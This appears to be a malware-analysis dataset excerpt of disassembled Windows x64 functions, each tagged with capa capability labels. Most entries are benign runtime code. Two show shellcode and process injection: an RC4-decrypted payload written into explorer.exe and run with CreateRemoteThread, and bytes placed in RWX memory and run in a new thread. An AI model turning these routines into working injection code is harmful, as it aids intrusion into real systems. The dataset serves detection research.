joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140013e48
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14002b0a8]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140012e6c
xor ebx, ebx
cmp qword [0x14002d050], rbx
mov rdi, rax
jne 0x140013f5b
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140014032
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140014032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14002d050], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14002d058], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14002d060], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14002d070], rax
test rax, rax
je 0x140013f52
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14002d068], rax
jmp 0x140013f62
mov rax, qword [0x14002d068]
jmp 0x140013f69
mov rax, qword [0x14002d068]
mov r11, qword [0x14002d070]
cmp rax, rdi
je 0x140013fd0
cmp r11, rdi
je 0x140013fd0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14002d070]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140013fd0
test rax, rax
je 0x140013fd0
call rsi
test rax, rax
je 0x140013fca
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140013fca
test byte [rsp + 0x40], 1
jne 0x140013fd0
bts ebp, 0x15
jmp 0x140014010
mov rcx, qword [0x14002d058]
cmp rcx, rdi
je 0x140014010
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014010
call rax
mov rbx, rax
test rax, rax
je 0x140014010
mov rcx, qword [0x14002d060]
cmp rcx, rdi
je 0x140014010
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014010
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14002d050]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014032
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140014034
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140010c70
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14000f63c
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
mov eax, 0x1030
call fcn.140026be0
sub rsp, rax
mov rax, qword [0x14004d9a8]
xor rax, rsp
mov qword [rsp + 0x1020], rax
xor r14d, r14d
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
cmp word [rcx], r14w
je 0x14000f7ef
call fcn.14000f818
mov rcx, rbx
call fcn.14002bb88
mov rcx, rbx
mov rbp, rax
call fcn.14000f848
test al, al
je 0x14000f724
mov rcx, rbx
call fcn.14000f818
test al, al
je 0x14000f6d8
lea rax, [rbp + 4]
cmp rdi, rax
jbe 0x14000f7ef
mov r8, rdi
lea rdx, [0x14003cf70]
mov rcx, rsi
call fcn.140014cf8
mov rdx, rbx
mov r8, rdi
mov rcx, rsi
call fcn.140014cb4
mov al, 1
jmp 0x14000f7f1
cmp word [rbx], 0x5c
jne 0x14000f7ef
cmp word [rbx + 2], 0x5c
jne 0x14000f7ef
lea rax, [rbp + 6]
cmp rdi, rax
jbe 0x14000f7ef
mov r8, rdi
lea rdx, [0x14003cf70]
mov rcx, rsi
call fcn.140014cf8
mov r8, rdi
lea rdx, [0x14003cf80]
mov rcx, rsi
call fcn.140014cb4
lea rdx, [rbx + 2]
jmp 0x14000f6c6
lea rdx, [rsp + 0x20]
mov ecx, 0x7ff
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
dec eax
cmp eax, 0x7fe
ja 0x14000f7ef
cmp word [rbx], 0x5c
je 0x14000f7b9
cmp word [rbx], 0x2f
je 0x14000f7b9
mov edx, 0x800
lea rcx, [rsp + 0x20]
call fcn.14000f058
lea rcx, [rsp + 0x20]
call fcn.14002bb88
lea rcx, [rax + 4]
add rcx, rbp
cmp rdi, rcx
jbe 0x14000f7ef
mov r8, rdi
lea rdx, [0x14003cf70]
mov rcx, rsi
call fcn.140014cf8
mov r8, rdi
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140014cb4
cmp word [rbx], 0x2e
jne 0x14000f6c3
cmp word [rbx + 2], 0x5c
je 0x14000f7b0
cmp word [rbx + 2], 0x2f
jne 0x14000f6c3
add rbx, 4
jmp 0x14000f6c3
lea rax, [rbp + 6]
cmp rdi, rax
jbe 0x14000f7ef
mov r8, rdi
lea rdx, [0x14003cf70]
mov rcx, rsi
call fcn.140014cf8
mov r8, rdi
mov word [rsp + 0x24], r14w
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.140014cb4
jmp 0x14000f6c3
xor al, al
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.140026770
add rsp, 0x1030
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x14001079c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, r9
mov r10b, bl
cmp r8d, 1
jbe 0x1400107d0
lea rcx, [rdx + 1]
lea r8d, [rdi - 1]
xor r10b, byte [rcx]
inc rcx
sub r8, 1
jne 0x1400107c4
cmp r10b, byte [rdx]
jne 0x14001080c
mov r8, rdi
or ecx, 0xffffffff
call fcn.1400073c8
lea rdx, [0x14004d060]
not eax
mov rcx, rdx
cmp dword [rcx + 4], eax
jne 0x1400107f5
cmp dword [rcx], edi
je 0x140010802
inc ebx
add rcx, 0xc
cmp ebx, 6
jae 0x14001080c
jmp 0x1400107ec
lea rcx, [rbx + rbx*2]
mov eax, dword [rdx + rcx*4 + 8]
mov dword [rsi], eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400111fe
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1400128b0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x140025231]
call fcn.140011406
mov rax, qword [rbp + 0x160]
mov eax, dword [rax]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x160]
mov eax, dword [rax + 4]
mov dword [rbp + 0x44], eax
mov rax, qword [rbp + 0x160]
add rax, 8
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x178], 0
jbe 0x140012a21
mov eax, dword [rbp + 0x24]
inc eax
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x68]
movzx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0x44]
add ecx, eax
mov eax, ecx
xor edx, edx
mov ecx, 0x100
div ecx
mov eax, edx
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x68]
movzx eax, byte [rcx + rax]
mov byte [rbp + 4], al
mov eax, dword [rbp + 0x44]
mov ecx, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
mov r8, qword [rbp + 0x68]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
mov eax, dword [rbp + 0x44]
mov rcx, qword [rbp + 0x68]
movzx edx, byte [rbp + 4]
mov byte [rcx + rax], dl
cmp qword [rbp + 0x168], 0
je 0x140012a0b
cmp qword [rbp + 0x170], 0
je 0x140012a0b
mov rax, qword [rbp + 0x168]
movzx eax, byte [rax]
mov dword [rbp + 0x134], eax
mov ecx, dword [rbp + 0x24]
mov rdx, qword [rbp + 0x68]
movzx ecx, byte [rdx + rcx]
mov edx, dword [rbp + 0x44]
mov r8, qword [rbp + 0x68]
movzx edx, byte [r8 + rdx]
add ecx, edx
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
cdqe
mov rcx, qword [rbp + 0x68]
movzx eax, byte [rcx + rax]
mov ecx, dword [rbp + 0x134]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rbp + 0x170]
mov byte [rcx], al
mov rax, qword [rbp + 0x168]
inc rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x170]
inc rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x178]
dec rax
mov qword [rbp + 0x178], rax
jmp 0x140012906
mov rax, qword [rbp + 0x160]
mov ecx, dword [rbp + 0x24]
mov dword [rax], ecx
mov rax, qword [rbp + 0x160]
mov ecx, dword [rbp + 0x44]
mov dword [rax + 4], ecx
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140011235
Capabilities:
Terminate process

Disassembly:
jmp 0x140013490
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112c1
Capabilities:
Create thread

Disassembly:
jmp 0x140012710
push rbp
push rdi
sub rsp, 0x2f8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f280]
xor rax, rbp
mov qword [rbp + 0x2a8], rax
lea rcx, [0x14002516b]
call fcn.140011406
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x64], 0
lea rax, str.explorer.exe
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x108
rep stosb byte [rdi], al
mov r8d, 0x10
lea rdx, [0x14001f200]
lea rcx, [rbp + 0xb0]
call fcn.14001141a
mov ecx, 0x1fe
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x1d8], rax
mov r9d, 0x1fe
mov r8, qword [rbp + 0x1d8]
lea rdx, section..data
lea rcx, [rbp + 0xb0]
call fcn.1400111fe
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x64]
mov rcx, qword [rbp + 0x88]
call fcn.14001114f
test eax, eax
jne 0x1400127fc
lea rcx, [0x14001bc10]
call fcn.1400111cc
lea r9, [rbp + 0x48]
mov r8d, 0x1fe
mov rdx, qword [rbp + 0x1d8]
mov rcx, qword [rbp + 0x28]
call fcn.1400111a4
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 8], rax
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d170]
call fcn.14001137f
mov eax, edi
mov rcx, qword [rbp + 0x2a8]
xor rcx, rbp
call fcn.1400111ea
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret

Function at 0x1400112cb
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015bd0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015bf0
xor al, al
jmp 0x140015c71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015c03
xor al, al
jmp 0x140015c71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140015c2d
xor al, al
jmp 0x140015c71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015c41
xor al, al
jmp 0x140015c71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015c53
xor al, al
jmp 0x140015c71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140015c6f
xor al, al
jmp 0x140015c71
mov al, 1
add rsp, 0x38
ret
Function at 0x1400024e1
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140096ba0
mov rax, rcx
neg rcx
test rax, 7
je 0x140096bbd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140096c18
test al, 7
jne 0x140096bb0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140096bd1
mov rdx, qword [rax - 8]
test dl, dl
je 0x140096c42
test dh, dh
je 0x140096c3c
shr rdx, 0x10
test dl, dl
je 0x140096c36
test dh, dh
je 0x140096c30
shr rdx, 0x10
test dl, dl
je 0x140096c2a
test dh, dh
je 0x140096c24
shr edx, 0x10
test dl, dl
je 0x140096c1e
test dh, dh
jne 0x140096bd1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400027ca
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140022070
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400219f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400220af
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14012a020]
jmp 0x1400220b9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x140002914
Capabilities:
Query environment variable

Disassembly:
jmp 0x1400b09d0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400b0800
lea rcx, [rsp + 0x40]
call fcn.1400b0980
movzx eax, al
test eax, eax
jne 0x1400b0a18
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1400b0830
mov rax, qword [rsp + 0x70]
jmp 0x1400b0be9
lea rcx, [rsp + 0x40]
call fcn.1400b0950
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400b08f0
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400b0950
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400032d3
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400b0abe
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1400b0830
mov rax, qword [rsp + 0x80]
jmp 0x1400b0be9
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400026e9
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400025db
lea rcx, [rsp + 0x48]
call fcn.1400022d9
movzx eax, al
test eax, eax
jne 0x1400b0b25
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140001730
lea rcx, [rsp + 0x40]
call fcn.1400b0830
mov rax, qword [rsp + 0x88]
jmp 0x1400b0be9
lea rcx, [rsp + 0x48]
call fcn.140002bb7
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400b0950
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400032d3
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400b0bbb
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140001730
lea rcx, [rsp + 0x40]
call fcn.1400b0830
mov rax, qword [rsp + 0xa0]
jmp 0x1400b0be9
lea rcx, [rsp + 0x48]
call fcn.1400025b8
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140001730
lea rcx, [rsp + 0x40]
call fcn.1400b0830
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140002923
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140021fa0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140021970
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140021fe1
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x14012a020]
jmp 0x140021fe7
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x1400029a0
Capabilities:
Get geographical location

Disassembly:
jmp 0x14009b5e0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.14009a510
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x14009b647
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x14012a030]
jmp 0x14009b669
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.140002289
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400029b4
Capabilities:
Terminate process

Disassembly:
jmp 0x14000b460
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140002b67
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400cca40
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140119028]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1400cca66
jmp 0x1400ccae3
mov rcx, qword [rbp + 0x30]
call fcn.1400024e1
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1400cca7f
jmp 0x1400ccae3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1400cca9c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.140001870
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140001c12
test eax, eax
jne 0x1400ccae3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.14000267b
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140002c84
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400de8b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400de8d4
xor eax, eax
jmp 0x1400de922
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x1400de8fc
xor eax, eax
jmp 0x1400de922
mov rax, qword [rsp + 8]
add rax, 0x18
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax]
cmp eax, 0x20b
je 0x1400de91d
xor eax, eax
jmp 0x1400de922
mov eax, 1
add rsp, 0x28
ret
Function at 0x140002eeb
Capabilities:
Encrypt data using rc4 via systemfunction033
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400077c0
push rbp
push rsi
push rdi
sub rsp, 0x790
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x144
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1401290bb]
call fcn.140003e77
mov byte [rbp + 4], 0x10
mov byte [rbp + 5], 0xfc
mov byte [rbp + 6], 0x28
mov byte [rbp + 7], 0x10
mov byte [rbp + 8], 0xdc
mov byte [rbp + 9], 0x60
lea rcx, [0x1400e80f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction033
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x488]
lea rcx, str.www.google.com
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x488]
mov qword [0x14011a228], rax
mov dword [0x14011a220], 0x10
lea rax, [rbp + 4]
mov qword [0x14011a218], rax
mov dword [0x14011a210], 6
lea rdx, [0x14011a220]
lea rcx, [0x14011a210]
call qword [rbp + 0x468]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x4b8], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x4d8], rax
cmp qword [rbp + 0x4d8], 0
jne 0x1400078df
mov ecx, 2
call fcn.1400041e2
lea rdx, str.VirtualAlloc_failed_n
mov rcx, rax
call fcn.140003873
mov eax, 1
jmp 0x140007a06
mov qword [rsp + 0x20], 0
mov r9d, 6
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x4d8]
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140007942
mov ecx, 2
call fcn.1400041e2
lea rdx, str.WriteProcessMemory_failed_n
mov rcx, rax
call fcn.140003873
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140007a06
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x4d8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x4b8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x4f8], rax
cmp qword [rbp + 0x4f8], 0
jne 0x1400079d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x744], eax
mov ecx, 2
call fcn.1400041e2
mov ecx, dword [rbp + 0x744]
mov r8d, ecx
lea rdx, str.CreateRemoteThread_failed___d__n
mov rcx, rax
call fcn.140003873
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140007a06
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rbp + 0x4d8]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400e8090]
call fcn.140003639
mov rax, rdi
lea rsp, [rbp + 0x750]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002fb8
Capabilities:
Parse pe header

Disassembly:
jmp 0x140009b30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140009b50
xor al, al
jmp 0x140009bd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140009b63
xor al, al
jmp 0x140009bd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140009b8d
xor al, al
jmp 0x140009bd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140009ba1
xor al, al
jmp 0x140009bd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140009bb3
xor al, al
jmp 0x140009bd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140009bcf
xor al, al
jmp 0x140009bd1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000324c
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x1400de720
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x10]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
jmp 0x1400de77e
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
add rax, 0x28
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jae 0x1400de7bd
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
cmp qword [rsp + 0x38], rax
jb 0x1400de7bb
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 8]
mov eax, eax
cmp qword [rsp + 0x38], rax
jae 0x1400de7bb
mov rax, qword [rsp + 8]
jmp 0x1400de7bf
jmp 0x1400de768
xor eax, eax
add rsp, 0x28
ret

Function at 0x140003445
Capabilities:
Terminate process

Disassembly:
jmp 0x140097590
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400975be
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140003b07
